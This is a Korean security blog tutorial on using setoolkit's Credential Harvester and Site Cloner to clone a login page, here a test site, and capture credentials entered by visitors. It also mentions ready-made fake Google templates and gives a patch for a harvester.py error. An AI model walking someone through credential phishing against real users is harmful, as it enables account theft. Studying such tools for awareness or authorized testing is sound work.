본문 바로가기

해킹-보안

setoolkit을 이용하여 피싱 사이트 만들기

반응형
setoolkit은 사회공학기법을 이용하는 도구의 모음이다. 
사회공학의 핵심은 대상에게 신뢰를 주어 자신이 공격당하는 것을 눈치 채지 못하게 만드는 것이다.  
그 유형중의 하나가 피싱 사이트이다.
 
칼리리눅스는 기본적으로 setoolkit이 설치되어있다.
업데이트는 아래 명령으로 수행한다.
# apt install setools

# setoolkit site cloner

setoolkit은 가짜 facebook, twitter, google 등..
피싱 사이트를 제작할 수 있는 기능을 보유하고 있다.

setoolkit의 사용법은 아래와 같다.

# setoolkit

Social-Engineering Attacks
Website Attack Vectors
Credential Harvester Attack Method
Site Cloner
IP address for the POST back in Harvester/Tabnabbing [ip_address]:
- clone 될 ip 입력
- 본인 서버인 경우 기본 값은 localhost이므로 Enter
Enter the url to clone: http://demo.testfire.net/login.jsp


clone된 서버(192.168.111.132)에 접속하여 웹사이트가 복제됐는지 확인한다.

이제 사용자가 내 피싱사이트(192.168.111.132)에 로그인 시도를하면 계정 정보를 터미널로 전달받는다.

 

Site cloner 대신에 이미 만들어진 웹 템플릿을 사용할 수도 있다. 

아래 화면은 피해자가 가짜 google 사이트에 접속하여 로그인 시도후 공격자에게 계정을 탈취당한 내용이다.

 

 

만약 로그인 시도했을 때 다음 에러가 발생하면,
usr/share/set/src/webattack/harvester/harvester.py를 수정해야 한다.
File "/usr/share/set/src/webattack/harvester/harvester.py", line 334, in do_POST
filewrite.write(cgi.escape("PARAM: " + line + "\n"))
AttributeError: module 'cgi' has no attribute 'escape'


harvester.py 파일을 열어서 import html을 추가해주고
저 오류난 구문을 찾아서 cgi.escape를 html.escape로 변경해준다.
아래 수정된 코드가 있으니 다운받아서 사용해도 된다.
harvester.py.zip
다운로드

 

 

 

반응형